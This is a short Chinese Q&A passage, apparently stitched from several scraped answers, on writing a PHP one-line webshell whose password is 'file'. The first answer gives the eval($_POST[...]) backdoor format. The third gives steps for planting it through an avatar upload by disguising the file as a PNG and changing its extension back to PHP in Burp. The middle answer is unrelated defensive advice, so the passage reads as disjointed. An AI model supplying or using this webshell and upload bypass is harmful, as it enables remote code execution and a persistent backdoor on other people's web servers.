写一个PHP一句话木马密码为file?

1、PHP一句话木马是一种利用PHP的eval函数执行任意代码的后门程序。一般格式为：？php @eval ($_POST [password])；？ 其中，password是连接木马时需要输入的密码，可以自定义。

2、他要往你文件里面写这个东西肯定是有神马外部程序被注入到你服务器上，你可以从这点入手把幕后的木马程序揪出来。

3、将一句话木马base64，将base64后的一句话木马写入 0.txt ，文件后缀名改为 .png 接下来上传头像，设置浏览器代理，利用burp抓包，将png修改为php，点击Foward放行。这里如果报错，无需理会。